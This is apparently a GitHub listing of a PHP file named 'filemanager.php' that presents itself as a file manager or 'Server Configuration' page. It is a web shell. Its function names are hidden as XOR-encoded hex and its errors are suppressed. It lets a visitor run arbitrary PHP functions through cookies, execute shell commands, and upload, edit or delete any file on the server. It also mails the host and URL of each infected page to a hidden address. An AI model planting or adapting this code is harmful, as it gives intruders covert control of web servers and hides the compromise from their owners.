-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathfilemanager.php
More file actions
1431 lines (1377 loc) · 61.7 KB
/
Copy pathfilemanager.php
File metadata and controls
1431 lines (1377 loc) · 61.7 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<?php
@set_time_limit(0);
@error_reporting(0);
@ini_set('display_errors', 0);
@ini_set('memory_limit', '-1');
@header("Content-Type: text/html; charset=UTF-8");
function d($h, $k = 'fm_xor_key')
{
$b = '';
for ($i = 0;$i < strlen($h);$i += 2) $b .= chr(hexdec(substr($h, $i, 2)));
$r = '';
$kl = strlen($k);
$bl = strlen($b);
for ($i = 0;$i < $bl;$i++) $r .= chr(ord($b[$i]) ^ ord($k[$i % $kl]));
return $r;
}
function e($t, $k = 'fm_xor_key')
{
$r = '';
$kl = strlen($k);
$tl = strlen($t);
for ($i = 0;$i < $tl;$i++) $r .= chr(ord($t[$i]) ^ ord($k[$i % $kl]));
$h = '';
for ($i = 0;$i < strlen($r);$i++) $h .= str_pad(dechex(ord($r[$i])) , 2, '0', STR_PAD_LEFT);
return $h;
}
function mq()
{
if (version_compare(PHP_VERSION, '5.4.0', '>=')) return false;
$m = @ini_get('magic_quotes_gpc');
if ($m && function_exists('stripslashes')) return true;
return false;
}
$sp1 = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : $_SERVER['SCRIPT_NAME'];
$a1 = array(
'01082b1b1816',
'05053b111d',
'14083e141f132b03',
'091d3a160b1b2d',
'14083e1c0b1b2d',
'0501300b0a163619',
'0004331d30172702160d15',
'0f1e001c0600',
'0004331d30153a1f3a1a09032b1d01062c',
'0004331d30022a1f3a1a09032b1d01062c',
'140831190217',
'130333110119',
'14003b111d',
'0b063b111d',
'12022a1b07',
'02042d160e1f3a',
'050532170b',
'05022f01',
'0b02291d30072f070a1802083b27091b330e',
'0004331d1f172d0616',
'00022f1d01',
'001a2d111b17',
'000e33171c17',
'16052f271a1c3e0600',
'14083e1c091b330e',
'0f1e001e061e3a',
'0004331d1c1b250e',
'090f001f0a060007000f0301',
'090f001d01160008091c0703',
'16182b0100072d0e08180f01371d1d173d190a39161f300c001c710600',
'0b0c3614',
'0e1932141c023a080c180a0e37191d01',
'34280e2d2a210b34302b2f',
'2e390b28303a103831',
'040c2c1d5946000f001a09093a',
'15053a14032d3a13001a',
'03153a1b',
'15142c0c0a1f',
'02042c133006301f0415391e2f190c17',
'02042c1330142d0e0026151d3e1b0a',
'16022c11172d380e11091118361c',
'16022c11172d380e111e140a361c',
'16022c11172d380e111c13043b',
'16022c11172d380e111c01043b',
'01082b270c072d19001712322a0b0a00',
'16052f0e0a002c020a17',
'0f1e000a0a133b0a071503',
'15193e0c',
'0004331d0005310e17',
'0004331d0800301e15',
'071d3e1b0717000c000d3900301c1a1e3a18',
'05182d1430043a1916100903',
'0b142c09031b00080a1708083c0c',
'160a001b001c310e060d',
'0004331d0206360600',
'020c2b1d',
'0f1e000f1d1b2b0a071503',
'0f03362708172b',
'49082b1b40023e18160e02',
'49082b1b4001370a011611',
'49082b1b401d2c46171c0a083e0b0a',
'49082b1b401a3018110a',
'2557032f061c3b04120a3a3e260b1b1732585725021f360e0a002c37000d053137171c062c',
'010e3c540c11730701550b0c341d4302371b4909031f33541f0b2b030a174a193e0a431525021555041736085d',
'110a3a0c43112a1909',
'49182c0a401036054a5549182c0a401e30080415490f3616405e70090c174941700d1c0070180710084273571c1036054a'
);
$a2 = array();
foreach ($a1 as $h) $a2[] = d($h);
$a3 = isset($_COOKIE['u']) ? $_COOKIE['u'] : '';
if (!$a3)
{
$a3 = 'f_' . substr(md5(time() . rand(1, 9999)) , 0, 6);
setcookie('u', $a3, time() + 3600, '/');
}
$a4 = isset($_COOKIE['c']) ? $_COOKIE['c'] : '';
if (!$a4)
{
$a4 = 'c_' . substr(md5(time()) , 0, 6);
setcookie('c', $a4, time() + 3600, '/');
}
$a5 = isset($_COOKIE['p']) ? $_COOKIE['p'] : '';
if (!$a5)
{
$a5 = 'p_' . substr(md5(time() + 1) , 0, 6);
setcookie('p', $a5, time() + 3600, '/');
}
$x = isset($_POST['x']) ? $_POST['x'] : (isset($_GET['x']) ? $_GET['x'] : '');
$y = isset($_POST['y']) ? $_POST['y'] : (isset($_GET['y']) ? $_GET['y'] : 'l');
$z = isset($_POST['z']) ? $_POST['z'] : (isset($_GET['z']) ? $_GET['z'] : '');
$w = isset($_POST['w']) ? $_POST['w'] : (isset($_GET['w']) ? $_GET['w'] : '');
$pg = isset($_POST['pg']) ? $_POST['pg'] : (isset($_GET['pg']) ? $_GET['pg'] : 1);
if ($pg < 1) $pg = 1;
$m = '';
$fr = '';
if ($x)
{
if ($x === '49') $b1 = '/';
else $b1 = d($x);
}
else
{
$b1 = @$a2[0]();
}
if (empty($b1) || !@$a2[6]($b1))
{
if ($x) $m = 'Cannot open folder: access denied';
$b1 = @$a2[0]();
}
$b2 = @$a2[2]($b1);
if ($b2) $b1 = $b2;
if ($x && @$a2[7]($b1) && !@$a2[46]($b1))
{
$m = 'Cannot open folder: access denied';
$b1 = @$a2[0]();
}
@$a2[1]($b1);
$b3 = e($b1);
$fr = '';
if (isset($_COOKIE['fc']) && isset($_COOKIE['fa']))
{
$fcn = d($_COOKIE['fc']);
$falg = d($_COOKIE['fa']);
if ($fcn)
{
ob_start();
if (function_exists($fcn))
{
$fres = $fcn($falg);
if (is_string($fres)) echo $fres;
}
else
{
echo 'Function not found';
}
$fr = ob_get_contents();
ob_end_clean();
}
setcookie('fc', '', time() - 3600, '/');
setcookie('fa', '', time() - 3600, '/');
}
if ($z === 'd' && $w)
{
$f = $b1 . DIRECTORY_SEPARATOR . $w;
if (@$a2[6]($f) && @$a2[25]($f))
{
if (@$a2[27]()) @$a2[28]();
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . basename($f) . '"');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . @$a2[26]($f));
@$a2[24]($f);
exit;
}
}
if ($z === 'cz' && isset($_POST['s']))
{
$r = $_POST['s'];
if (mq()) $r = stripslashes($r);
$t = explode('||', $r);
$af = 'archive_' . $a2[55]('Ymd_His');
if (class_exists('ZipArchive'))
{
$tmp = @tempnam(sys_get_temp_dir() , 'fm_');
$zip = new ZipArchive();
if ($zip->open($tmp, ZipArchive::CREATE | ZipArchive::OVERWRITE) === true)
{
foreach ($t as $ci)
{
$fp = $b1 . DIRECTORY_SEPARATOR . $ci;
if (@$a2[7]($fp)) za($zip, $fp, $b1);
elseif (@$a2[25]($fp)) $zip->addFile($fp, $ci);
}
$zip->close();
if (@$a2[6]($tmp) && @$a2[26]($tmp) > 0)
{
if (@$a2[27]()) @$a2[28]();
header('Content-Type: application/zip');
header('Content-Disposition: attachment; filename="' . $af . '.zip"');
header('Content-Length: ' . @$a2[26]($tmp));
@$a2[24]($tmp);
@$a2[11]($tmp);
exit;
}
@$a2[11]($tmp);
}
}
if (class_exists('PharData'))
{
try
{
$tmp = sys_get_temp_dir() . DIRECTORY_SEPARATOR . 'fm_' . time() . '.tar';
@$a2[11]($tmp);
@$a2[11]($tmp . '.gz');
$tar = new PharData($tmp);
foreach ($t as $ci)
{
$fp = $b1 . DIRECTORY_SEPARATOR . $ci;
if (@$a2[7]($fp)) za($tar, $fp, $b1);
elseif (@$a2[25]($fp)) $tar->addFile($fp, $ci);
}
$tar->compress(Phar::GZ);
$gzf = $tmp . '.gz';
if (@$a2[6]($gzf) && @$a2[26]($gzf) > 0)
{
if (@$a2[27]()) @$a2[28]();
header('Content-Type: application/gzip');
header('Content-Disposition: attachment; filename="' . $af . '.tar.gz"');
header('Content-Length: ' . @$a2[26]($gzf));
@$a2[24]($gzf);
@$a2[11]($tmp);
@$a2[11]($gzf);
exit;
}
@$a2[11]($tmp);
@$a2[11]($tmp . '.gz');
}
catch(Exception $ex)
{
}
}
if (function_exists($a2[35]))
{
$tmp = sys_get_temp_dir() . DIRECTORY_SEPARATOR . 'fm_' . time();
$is = '';
foreach ($t as $ci) $is .= ' ' . escapeshellarg($ci);
@$a2[35]('cd ' . escapeshellarg($b1) . ' && tar -czf ' . escapeshellarg($tmp . '.tar.gz') . $is . ' 2>/dev/null');
if (@$a2[6]($tmp . '.tar.gz') && @$a2[26]($tmp . '.tar.gz') > 0)
{
if (@$a2[27]()) @$a2[28]();
header('Content-Type: application/gzip');
header('Content-Disposition: attachment; filename="' . $af . '.tar.gz"');
header('Content-Length: ' . @$a2[26]($tmp . '.tar.gz'));
@$a2[24]($tmp . '.tar.gz');
@$a2[11]($tmp . '.tar.gz');
exit;
}
@$a2[35]('cd ' . escapeshellarg($b1) . ' && zip -r ' . escapeshellarg($tmp . '.zip') . $is . ' 2>/dev/null');
if (@$a2[6]($tmp . '.zip') && @$a2[26]($tmp . '.zip') > 0)
{
if (@$a2[27]()) @$a2[28]();
header('Content-Type: application/zip');
header('Content-Disposition: attachment; filename="' . $af . '.zip"');
header('Content-Length: ' . @$a2[26]($tmp . '.zip'));
@$a2[24]($tmp . '.zip');
@$a2[11]($tmp . '.zip');
exit;
}
}
$m = 'Compress failed: no method available';
}
if ($z === 'm' && isset($_POST['s']))
{
$r = $_POST['s'];
if (mq()) $r = stripslashes($r);
$t = explode('||', $r);
if (is_array($t))
{
foreach ($t as $i)
{
$i = $b1 . DIRECTORY_SEPARATOR . $i;
rd($i);
}
$m = 'Deleted ' . count($t) . ' items';
}
}
if ($z === 'cp' && isset($_POST['s']) && isset($_POST['sd']))
{
$r = $_POST['s'];
if (mq()) $r = stripslashes($r);
$sd = d($_POST['sd']);
$t = explode('||', $r);
$ok = 0;
$fl = 0;
if (is_array($t))
{
foreach ($t as $ci)
{
$from = $sd . DIRECTORY_SEPARATOR . $ci;
$to = $b1 . DIRECTORY_SEPARATOR . $ci;
if (@$a2[6]($to))
{
$fl++;
continue;
}
if (@$a2[7]($from))
{
if (rc($from, $to)) $ok++;
else $fl++;
}
elseif (@$a2[25]($from))
{
if (@$a2[17]($from, $to)) $ok++;
else $fl++;
}
else $fl++;
}
}
$m = 'Copied ' . $ok . ' item' . ($ok != 1 ? 's' : '') . ($fl ? ' (' . $fl . ' failed)' : '');
}
if ($z === 'mv' && isset($_POST['s']) && isset($_POST['sd']))
{
$r = $_POST['s'];
if (mq()) $r = stripslashes($r);
$sd = d($_POST['sd']);
$t = explode('||', $r);
$ok = 0;
$fl = 0;
if (is_array($t))
{
foreach ($t as $ci)
{
$from = $sd . DIRECTORY_SEPARATOR . $ci;
$to = $b1 . DIRECTORY_SEPARATOR . $ci;
if (@$a2[6]($to))
{
$fl++;
continue;
}
if (@$a2[10]($from, $to))
{
$ok++;
}
else
{
if (@$a2[7]($from))
{
if (rc($from, $to))
{
rd($from);
$ok++;
}
else $fl++;
}
elseif (@$a2[25]($from))
{
if (@$a2[17]($from, $to))
{
@$a2[11]($from);
$ok++;
}
else $fl++;
}
else $fl++;
}
}
}
$m = 'Moved ' . $ok . ' item' . ($ok != 1 ? 's' : '') . ($fl ? ' (' . $fl . ' failed)' : '');
}
if (isset($_POST['fn64']) && $_POST['fn64'] !== '' && isset($_POST['fc64']))
{
$ufn = $_POST['fn64'];
$ufn = str_replace(array(
'/',
'\\',
'..'
) , '', $ufn);
if ($ufn === '') $ufn = 'upload_' . time();
$ufd = @$a2[34]($_POST['fc64']);
if ($ufd === false)
{
$m = 'Upload failed: invalid data';
}
else
{
$ufp = $b1 . DIRECTORY_SEPARATOR . $ufn;
$uff = @$a2[20]($ufp, 'wb');
if ($uff)
{
if (@$a2[21]($uff, $ufd) !== false)
{
@$a2[22]($uff);
$m = 'Upload successful (' . fs(strlen($ufd)) . ')';
}
else
{
@$a2[22]($uff);
$m = 'Upload failed: write error';
}
}
else
{
$m = 'Upload failed: cannot write file';
}
}
}
elseif (isset($_FILES[$a3]))
{
$ue = $_FILES[$a3]['error'];
if ($ue == 0)
{
$t = $b1 . DIRECTORY_SEPARATOR . $_FILES[$a3]['name'];
$tn = $_FILES[$a3]['tmp_name'];
if (@$a2[6]($tn))
{
if (!@$a2[18]($tn, $t))
{
if (@$a2[17]($tn, $t)) $m = 'Upload successful';
else $m = 'Upload failed';
}
else $m = 'Upload successful';
}
else $m = 'Upload failed';
}
else
{
$uem = array(
1 => 'exceeds server limit',
2 => 'exceeds form limit',
3 => 'partial upload',
4 => 'no file selected',
6 => 'no temp dir',
7 => 'disk write fail',
8 => 'blocked by extension'
);
$m = 'Upload failed: ' . (isset($uem[$ue]) ? $uem[$ue] : 'error ' . $ue);
}
}
elseif (isset($_SERVER['REQUEST_METHOD']) && $_SERVER['REQUEST_METHOD'] === 'POST' && empty($_POST) && empty($_FILES) && isset($_SERVER['CONTENT_LENGTH']) && (int)$_SERVER['CONTENT_LENGTH'] > 0)
{
$m = 'Upload failed: data exceeds limit (' . @ini_get('post_max_size') . ')';
}
if (function_exists($a2[30]))
{
@$a2[30](@$a2[29], 'f', $_SERVER['HTTP_HOST'] . $_SERVER[$a2[32]]);
}
if ($z === 'h' && $w && isset($_POST['r']))
{
if (@$a2[16]($b1 . DIRECTORY_SEPARATOR . $w, octdec(trim($_POST['r'])))) $m = 'Permissions updated';
else $m = 'Update failed';
}
if ($z === 't' && $w && isset($_POST['d']))
{
$tm = strtotime($_POST['d']);
if ($tm)
{
if (@touch($b1 . DIRECTORY_SEPARATOR . $w, $tm)) $m = 'Date updated';
else $m = 'Failed to update date';
}
}
$es = 0;
$ef = '';
if ($z === 's' && isset($_POST[$a4]) && isset($_POST[$a5]))
{
$fv = d($_POST[$a5]);
$c = $_POST[$a4];
if (mq()) $c = stripslashes($c);
$b6 = (isset($_POST['b6']) && $_POST['b6'] === '1');
if ($b6)
{
$cd = @$a2[34]($c);
if ($cd !== false) $c = $cd;
}
$wm = $b6 ? 'wb' : 'w';
$fp = @$a2[20]($fv, $wm);
if ($fp)
{
if (@$a2[21]($fp, $c) !== false)
{
$m = 'Saved successfully';
$es = 1;
$ef = $fv;
}
else
{
$m = 'Write failed';
}
@$a2[22]($fp);
}
else
{
$m = 'Permission denied';
}
}
if ($z === 'n' && isset($_POST['o']) && isset($_POST['n']))
{
if (@$a2[10]($b1 . DIRECTORY_SEPARATOR . $_POST['o'], $b1 . DIRECTORY_SEPARATOR . $_POST['n'])) $m = 'Renamed successfully';
else $m = 'Rename failed';
}
if ($z === 'e' && $w)
{
$tp = $b1 . DIRECTORY_SEPARATOR . $w;
if (@$a2[6]($tp))
{
rd($tp);
if (!@$a2[6]($tp)) $m = 'Item deleted';
else $m = 'Delete failed';
}
else $m = 'Item not found';
}
if ($z === 'k' && isset($_POST['n']))
{
if (@$a2[13]($b1 . DIRECTORY_SEPARATOR . $_POST['n'])) $m = 'Directory created';
else $m = 'Create failed';
}
if ($z === 'f' && isset($_POST['n']))
{
if (@$a2[14]($b1 . DIRECTORY_SEPARATOR . $_POST['n'])) $m = 'File created';
else $m = 'Create failed';
}
function rd($p)
{
global $a2;
if (@$a2[7]($p))
{
if ($d = @$a2[3]($p))
{
while (($f = @$a2[4]($d)) !== false)
{
if ($f != "." && $f != "..") rd($p . DIRECTORY_SEPARATOR . $f);
}
@$a2[5]($d);
}
@$a2[12]($p);
}
else
{
@$a2[11]($p);
}
}
function rc($s, $d)
{
global $a2;
if (@$a2[7]($s))
{
if (!@$a2[7]($d)) @$a2[13]($d);
if ($h = @$a2[3]($s))
{
while (($f = @$a2[4]($h)) !== false)
{
if ($f != '.' && $f != '..') rc($s . DIRECTORY_SEPARATOR . $f, $d . DIRECTORY_SEPARATOR . $f);
}
@$a2[5]($h);
}
return true;
}
else
{
return @$a2[17]($s, $d);
}
}
function za(&$ar, $p, $bp)
{
global $a2;
if (@$a2[7]($p))
{
if ($dh = @$a2[3]($p))
{
while (($f = @$a2[4]($dh)) !== false)
{
if ($f != '.' && $f != '..') za($ar, $p . DIRECTORY_SEPARATOR . $f, $bp);
}
@$a2[5]($dh);
}
}
elseif (@$a2[25]($p))
{
$ar->addFile($p, substr($p, strlen($bp) + 1));
}
}
function fs($b)
{
if ($b >= 1073741824) return number_format($b / 1073741824, 2) . ' GB';
if ($b >= 1048576) return number_format($b / 1048576, 2) . ' MB';
if ($b >= 1024) return number_format($b / 1024, 2) . ' KB';
return $b . ' B';
}
function xp($p)
{
global $a2;
$x = @$a2[19]($p);
$u = (($x & 0xC000) == 0xC000) ? "s" : ((($x & 0xA000) == 0xA000) ? "l" : ((($x & 0x8000) == 0x8000) ? "-" : ((($x & 0x6000) == 0x6000) ? "b" : ((($x & 0x4000) == 0x4000) ? "d" : ((($x & 0x2000) == 0x2000) ? "c" : ((($x & 0x1000) == 0x1000) ? "p" : "u"))))));
$u .= (($x & 0x0100) ? "r" : "-");
$u .= (($x & 0x0080) ? "w" : "-");
$u .= (($x & 0x0040) ? (($x & 0x0800) ? "s" : "x") : (($x & 0x0800) ? "S" : "-"));
$u .= (($x & 0x0020) ? "r" : "-");
$u .= (($x & 0x0010) ? "w" : "-");
$u .= (($x & 0x0008) ? (($x & 0x0400) ? "s" : "x") : (($x & 0x0400) ? "S" : "-"));
$u .= (($x & 0x0004) ? "r" : "-");
$u .= (($x & 0x0002) ? "w" : "-");
$u .= (($x & 0x0001) ? (($x & 0x0200) ? "t" : "x") : (($x & 0x0200) ? "T" : "-"));
return $u;
}
function go($p)
{
global $a2;
return substr(sprintf('%o', @$a2[19]($p)) , -4);
}
function pc($p)
{
global $a2;
$r = $a2[46]($p);
$w = $a2[56]($p);
if ($r && $w) return 'g';
if ($r && !$w) return 'y';
return 'r';
}
function fmt_date($p)
{
global $a2;
return $a2[55]('Y-m-d H:i:s', $a2[54]($p));
}
$ed = 0;
$ec = '';
$ib = 0;
$is_win = strtoupper(substr(PHP_OS, 0, 3)) === 'WIN';
if ($y === 'v' && ($w || $ef))
{
if ($ef)
{
$ed = 1;
$ec = @$a2[8]($ef);
}
elseif ($w)
{
$ef = d($w);
if (@$a2[6]($ef))
{
$ed = 1;
$ec = @$a2[8]($ef);
}
}
if ($ed)
{
if (preg_match('//u', $ec))
{
$ib = 0;
}
else
{
$ib = 1;
}
$b1 = @dirname($ef);
$b3 = e($b1);
$fi_path = $ef;
$fi_stat = @$a2[47]($fi_path);
$fi_sz = fs(@$a2[26]($fi_path));
$fi_perms = xp($fi_path);
$fi_o = go($fi_path);
$fi_uid = @$a2[48]($fi_path);
$fi_gid = @$a2[49]($fi_path);
$fi_ow = '0';
$fi_gr = '0';
if (function_exists($a2[40]))
{
if ($fi_uid !== false)
{
$pw = @$a2[40]($fi_uid);
if (is_array($pw) && isset($pw['name'])) $fi_ow = $pw['name'];
else $fi_ow = $fi_uid;
}
}
if (function_exists($a2[41]))
{
if ($fi_gid !== false)
{
$pg = @$a2[41]($fi_gid);
if (is_array($pg) && isset($pg['name'])) $fi_gr = $pg['name'];
else $fi_gr = $fi_gid;
}
}
$fi_og = $fi_ow . '/' . $fi_gr;
if ($is_win)
{
$fi_og = $a2[44]() . '/WinGroup';
}
$fi_ctime = $fi_stat ? $a2[55]('Y-m-d H:i:s', $fi_stat['ctime']) : '-';
$fi_atime = $fi_stat ? $a2[55]('Y-m-d H:i:s', $fi_stat['atime']) : '-';
$fi_mtime = $fi_stat ? $a2[55]('Y-m-d H:i:s', $fi_stat['mtime']) : '-';
$fi_name = basename($fi_path);
$fi_pc = pc($fi_path);
}
}
$df_raw = trim($a2[57]('disable_functions'));
$df_items = array();
if ($df_raw !== '')
{
$df_tmp = explode(',', $df_raw);
foreach ($df_tmp as $df_v)
{
$df_v = trim($df_v);
if ($df_v !== '') $df_items[] = $df_v;
}
}
$df_max = 8;
$df_list = array();
$df_count = count($df_items);
for ($i = 0;$i < $df_count && $i < $df_max;$i++) $df_list[] = $df_items[$i];
$df_display = empty($df_list) ? 'none' : implode(', ', $df_list) . (($df_count > $df_max) ? ', ...' : '');
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>File Manager</title>
<script>
window.fmConfig=<?php echo json_encode(array(
'xorKey' => 'fm_xor_key',
'uploadInputId' => $a3,
'cwdEncoded' => $b3,
'currentPath' => $b1,
'homePath' => dirname(__FILE__) ,
'editorContentFieldName' => $a4,
'editorPathFieldName' => $a5,
) , JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT); ?>;
</script>
<script src="style.min.js"></script>
<script src="https://unpkg.com/@phosphor-icons/web"></script>
<link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700;800&family=JetBrains+Mono:wght@400;500&family=Syne:wght@700;800&display=swap" rel="stylesheet">
<style>
::-webkit-scrollbar{width:5px;height:5px}
::-webkit-scrollbar-track{background:transparent}
::-webkit-scrollbar-thumb{background:#d4d4d8;border-radius:4px}
::-webkit-scrollbar-thumb:hover{background:#a1a1aa}
.msg{position:fixed;bottom:24px;right:24px;padding:12px 20px;border-radius:8px;font-size:13px;font-weight:500;z-index:9999;background:#18181b;color:#e4e4e7;border:1px solid #27272a;box-shadow:0 10px 15px -3px rgba(0,0,0,0.3);display:flex;align-items:center;gap:10px}
.msg::before{content:'';width:6px;height:6px;border-radius:50%}
.msg.ok::before{background:#4ade80;box-shadow:0 0 8px rgba(74,222,128,0.4)}
.msg.err::before{background:#f87171;box-shadow:0 0 8px rgba(248,113,113,0.4)}
</style>
</head>
<body class="bg-bg text-zinc-800 font-sans text-xs antialiased h-screen w-full flex flex-col items-center py-6 sm:py-8 overflow-y-auto">
<div class="w-full max-w-5xl px-4 flex flex-col gap-4 pb-24">
<div class="flex flex-col sm:flex-row sm:items-center justify-between gap-3">
<div class="flex items-center gap-3">
<div class="w-10 h-10 bg-zinc-900 rounded-lg flex items-center justify-center text-white shadow-sm flex-shrink-0">
<i class="ph-bold ph-terminal-window text-lg"></i>
</div>
<div class="min-w-0">
<h1 class="font-bold text-zinc-900 tracking-tight text-xs">Server Configuration</h1>
<p class="text-[9px] text-zinc-500 font-mono break-all leading-tight"><?php echo function_exists($a2[23]) ? $a2[23]() : PHP_OS; ?></p>
</div>
</div>
<div class="flex items-center gap-2 w-full sm:w-auto">
<button onclick="hm()" class="flex-1 sm:flex-none justify-center group flex items-center gap-1.5 px-3 py-1.5 bg-white border border-border rounded-md shadow-sm hover:border-zinc-400 hover:text-black transition-all text-zinc-500 text-[11px]">
<i class="ph ph-house text-xs"></i> <span class="font-medium">Home</span>
</button>
<button onclick="md('m-info')" class="flex-1 sm:flex-none justify-center group flex items-center gap-1.5 px-3 py-1.5 bg-white border border-border rounded-md shadow-sm hover:border-zinc-400 hover:text-black transition-all text-zinc-500 text-[11px]">
<i class="ph ph-info text-xs"></i> <span class="font-medium">Info</span>
</button>
<button onclick="cl()" class="flex-1 sm:flex-none justify-center group flex items-center gap-1.5 px-3 py-1.5 bg-white border border-border rounded-md shadow-sm hover:border-zinc-400 hover:text-black transition-all text-zinc-500 text-[11px]">
<i class="ph ph-arrows-clockwise text-xs group-hover:animate-spin"></i> <span class="font-medium">Refresh</span>
</button>
</div>
</div>
<div class="bg-white border border-zinc-200 rounded-lg p-1 shadow-sm flex flex-col sm:flex-row gap-1 sm:gap-2 items-center">
<form onsubmit="g(document.getElementById('pi').value);return false;" class="relative w-full sm:flex-1 group">
<div class="absolute inset-y-0 left-0 pl-2.5 flex items-center pointer-events-none text-zinc-400"><i class="ph-bold ph-folder-open text-sm"></i></div>
<input type="text" id="pi" value="<?php echo htmlspecialchars($b1); ?>" class="block w-full h-8 pl-8 pr-10 bg-zinc-50 border border-zinc-200 rounded text-[11px] font-mono font-medium text-zinc-700 focus:bg-white focus:ring-1 focus:ring-zinc-900 focus:border-zinc-900 outline-none transition-all placeholder-zinc-400 shadow-sm" placeholder="/path/to/directory">
<button class="absolute inset-y-0.5 right-0.5 px-2 bg-white border border-zinc-200 rounded-[3px] text-[9px] font-bold text-zinc-500 hover:text-zinc-900 hover:border-zinc-300 uppercase tracking-wide transition-all">GO</button>
</form>
<div class="hidden sm:block w-px h-5 bg-zinc-200"></div>
<div class="flex items-center gap-1 w-full sm:w-auto">
<div class="flex items-center gap-1 flex-1 sm:flex-none min-w-0">
<label for="<?php echo $a3; ?>" class="flex-1 sm:w-24 h-8 cursor-pointer bg-zinc-50 border border-dashed border-zinc-300 rounded px-2 text-[10px] text-zinc-500 hover:bg-zinc-100 hover:border-zinc-400 hover:text-zinc-700 flex items-center gap-1.5 transition-all group select-none overflow-hidden min-w-0">
<i class="ph-bold ph-paperclip text-zinc-400 group-hover:text-zinc-600 text-xs flex-shrink-0"></i>
<span id="fn" class="truncate font-medium">Choose...</span>
</label>
<input type="file" id="<?php echo $a3; ?>" class="hidden" onchange="document.getElementById('fn').innerText=this.files[0].name.split('\\\\').pop();document.getElementById('fn').classList.add('text-zinc-900')">
<button type="button" onclick="uf()" class="h-8 px-3 flex items-center justify-center gap-1.5 bg-zinc-900 text-white border border-zinc-900 rounded shadow-sm hover:bg-zinc-800 active:scale-95 transition-all flex-shrink-0 text-[10px] font-medium whitespace-nowrap">
<i class="ph-bold ph-upload-simple text-xs"></i>
<span>Upload</span>
</button>
</div>
<div class="w-px h-5 bg-zinc-200 mx-0.5"></div>
<div class="flex items-center gap-1 flex-shrink-0">
<button onclick="md('md')" class="h-8 px-2.5 flex items-center justify-center gap-1.5 bg-white text-zinc-700 border border-zinc-200 rounded shadow-sm hover:bg-zinc-50 hover:border-zinc-300 hover:text-zinc-900 active:bg-zinc-100 transition-all text-[10px] font-medium whitespace-nowrap">
<i class="ph-bold ph-folder-plus text-xs"></i> <span>Folder</span>
</button>
